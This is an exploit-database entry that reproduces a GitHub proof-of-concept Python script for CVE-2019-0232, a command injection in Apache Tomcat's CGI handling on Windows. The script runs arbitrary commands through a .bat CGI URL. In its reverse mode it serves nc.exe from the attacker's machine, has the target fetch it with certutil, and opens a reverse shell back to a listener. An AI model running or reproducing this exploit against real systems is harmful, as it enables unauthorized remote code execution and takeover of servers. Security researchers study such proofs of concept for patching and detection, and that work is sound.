Exploit database

GH-543a3a354abfe1a887def5cbb65bb8d2

jorge2rubio/cve-2019-0232

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2019-0232

11 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
jorge2rubio/cve-2019-0232Revision 668cc80ae007

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2019-0232.py

Python · 2,134 bytes
#!/usr/bin/python3
import requests
import argparse
import subprocess
from urllib.parse import quote_plus

parser = argparse.ArgumentParser(description="Help")
parser.add_argument("-u", "--url", help="Target URL")
parser.add_argument("-p", "--port", help="Target Port")
parser.add_argument("-f", "--file", help="File ex: (cmd.bat, welcome.bat)")
parser.add_argument("-c", "--command", help="Commands")
parser.add_argument("-r", "--reverse", help="Reverse Shell")
parser.add_argument("-l", "--lhost", help="Listener Host")
parser.add_argument("-lp", "--lport", help="Listener Port")
parser.add_argument("-ncpath", "--ncpath", help="Netcat absolute Path")
parser.add_argument("-httpport", "--httpport", help="Http Server Port")
args = parser.parse_args()


if args.url and (not args.port):
	parser.error("--url requires --port")

if args.reverse and (not args.lhost or not args.lport):
    parser.error("--reverse requires --lhost and --lport")

if args.ncpath and ( not args.httpport):
	parser.error("--ncpath requires --httpport")

if not args.reverse and not args.command:
    parser.error("Command mode requires --command")


if args.reverse:
	print("Initializing http server for ncat")
	
	http_proc = subprocess.Popen(["python3", "-m", "http.server", args.httpport],cwd=args.ncpath)	
	
	print("Uploading the nc.exe to the Server")
	
	upload_shell = args.url.rstrip("/") +":"+ args.port + "/cgi/" + args.file + "?&&C%3a%5cWindows%5cSystem32%5ccertutil+-urlcache+-split+-f+http%3A%2F%2F"+ args.lhost + ":" + args.httpport + "%2Fnc%2Eexe+nc.exe"
	
	print("Executing Reverse shell..")
	
	reverse_shell = args.url.rstrip("/") +":"+ args.port + "/cgi/" + args.file + "?&&nc.exe+" + args.lhost + "+" + args.lport + "+-e+cmd.exe"
	
	upload_request = requests.get(upload_shell)
	
	reverse_request = requests.get(reverse_shell)

	print("Cleaning up HTTP server...")
	http_proc.terminate()
	http_proc.wait()
else:
	
	encoded_url = quote_plus(args.command)
	
	target_url = args.url.rstrip("/") +":"+ args.port + "/cgi/" + args.file + "?&&C%3a%5cWindows%5cSystem32%5ccmd.exe+%2fc"+ "+" + encoded_url

	r = requests.get(target_url)
	print(r.text)